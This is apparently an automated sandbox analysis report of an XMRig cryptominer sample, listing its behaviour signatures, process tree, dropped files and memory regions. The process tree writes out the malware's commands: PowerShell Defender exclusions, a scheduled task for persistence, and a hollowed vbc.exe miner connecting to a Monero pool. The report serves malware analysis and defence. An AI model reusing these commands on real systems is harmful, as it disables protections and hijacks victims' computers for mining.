Analysis

  • max time kernel
    94s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/12/2022, 11:10

General

  • Target
    file.exe
  • Size 765KB
  • Sample221221-m9pkgacb72
  • SHA256 e6d236c856b00720491ea4fd567137ace59a73d6f4ee5d6512b72e5ad6164f0f
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4276
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4920
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2080
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE60F.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1084
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:216
      • C:\ProgramData\cloud\TQOV.exe
        "C:\ProgramData\cloud\TQOV.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4776
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4072
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4184
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TQOV" /tr "C:\ProgramData\cloud\TQOV.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2428
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TQOV" /tr "C:\ProgramData\cloud\TQOV.exe"
            5⤵
            • Creates scheduled task(s)
            PID:4168
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:3716

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        TQOV.exe

        • Path C:\ProgramData\cloud\TQOV.exe
        • Size 765KB
        • SHA256 e6d236c856b00720491ea4fd567137ace59a73d6f4ee5d6512b72e5ad6164f0f
        • MD5 SHA1 SHA512 SSDEEP

        TQOV.exe

        • Path C:\ProgramData\cloud\TQOV.exe
        • Size 765KB
        • SHA256 e6d236c856b00720491ea4fd567137ace59a73d6f4ee5d6512b72e5ad6164f0f
        • MD5 SHA1 SHA512 SSDEEP

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 7ea18b6f900f2c30a5c34845d62d4fe9fc1f11e40714b3dbd69592cbfb5dc695
        • MD5 SHA1 SHA512

        tmpE60F.tmp.bat

        • Path C:\Users\Admin\AppData\Local\Temp\tmpE60F.tmp.bat
        • Size 138B
        • SHA256 8f3a9bbf9f42d25916313b3bb81f3586da23cf98095e565c1619fe098ab133a2
        • MD5 SHA1 SHA512

        memory/2080-158-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp

        memory/2080-155-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp

        memory/2080-152-0x000002408F6A0000-0x000002408F6C2000-memory.dmp

        memory/3716-197-0x000002C2DB220000-0x000002C2DB240000-memory.dmp

        memory/3716-196-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3716-193-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3716-204-0x000002C2DCD40000-0x000002C2DCD60000-memory.dmp

        memory/3716-201-0x000002C2DCD20000-0x000002C2DCD40000-memory.dmp

        memory/3716-195-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3716-202-0x000002C2DCD40000-0x000002C2DCD60000-memory.dmp

        memory/3716-203-0x000002C2DCD20000-0x000002C2DCD40000-memory.dmp

        memory/3716-198-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/3716-199-0x000002C2DCCE0000-0x000002C2DCD00000-memory.dmp

        memory/3716-200-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/4072-180-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp

        memory/4072-186-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp

        memory/4184-178-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp

        memory/4184-183-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp

        memory/4276-150-0x0000000000820000-0x0000000000862000-memory.dmp

        memory/4276-151-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp

        memory/4276-134-0x00007FF89BE30000-0x00007FF89BECE000-memory.dmp

        memory/4276-135-0x00007FF898090000-0x00007FF8980A2000-memory.dmp

        memory/4276-137-0x00000000008F0000-0x0000000000A16000-memory.dmp

        memory/4276-136-0x00007FF87F740000-0x00007FF87F7FD000-memory.dmp

        memory/4276-138-0x0000000000820000-0x0000000000862000-memory.dmp

        memory/4276-139-0x00007FF89C690000-0x00007FF89C831000-memory.dmp

        memory/4276-140-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp

        memory/4276-141-0x00007FF89C4E0000-0x00007FF89C50B000-memory.dmp

        memory/4276-142-0x00000000008F0000-0x0000000000A16000-memory.dmp

        memory/4276-143-0x00000000008F0000-0x0000000000A16000-memory.dmp

        memory/4276-144-0x00007FF87F5F0000-0x00007FF87F73E000-memory.dmp

        memory/4276-145-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp

        memory/4276-149-0x00000000008F0000-0x0000000000A16000-memory.dmp

        memory/4276-133-0x00007FF88E1D0000-0x00007FF88E27A000-memory.dmp

        memory/4776-165-0x00007FF898090000-0x00007FF8980A2000-memory.dmp

        memory/4776-168-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp

        memory/4776-185-0x00007FF89A460000-0x00007FF89A487000-memory.dmp

        memory/4776-169-0x00007FF89C4E0000-0x00007FF89C50B000-memory.dmp

        memory/4776-187-0x00007FF87E760000-0x00007FF87E795000-memory.dmp

        memory/4776-188-0x00007FF877C00000-0x00007FF877D02000-memory.dmp

        memory/4776-189-0x00007FF89C5C0000-0x00007FF89C62B000-memory.dmp

        memory/4776-190-0x00007FF899540000-0x00007FF89957B000-memory.dmp

        memory/4776-191-0x0000000000170000-0x0000000000296000-memory.dmp

        memory/4776-192-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp

        memory/4776-171-0x0000000001040000-0x0000000001082000-memory.dmp

        memory/4776-163-0x00007FF87F750000-0x00007FF87F7FA000-memory.dmp

        memory/4776-164-0x00007FF89BE30000-0x00007FF89BECE000-memory.dmp

        memory/4776-167-0x00007FF89C690000-0x00007FF89C831000-memory.dmp

        memory/4776-166-0x00007FF87F4D0000-0x00007FF87F58D000-memory.dmp

        memory/4776-174-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp

        memory/4776-173-0x00007FF87F2B0000-0x00007FF87F3FE000-memory.dmp

        memory/4776-172-0x0000000000170000-0x0000000000296000-memory.dmp

        memory/4776-170-0x0000000000170000-0x0000000000296000-memory.dmp

        memory/4920-156-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp

        memory/4920-157-0x00007FF87DA60000-0x00007FF87E521000-memory.dmp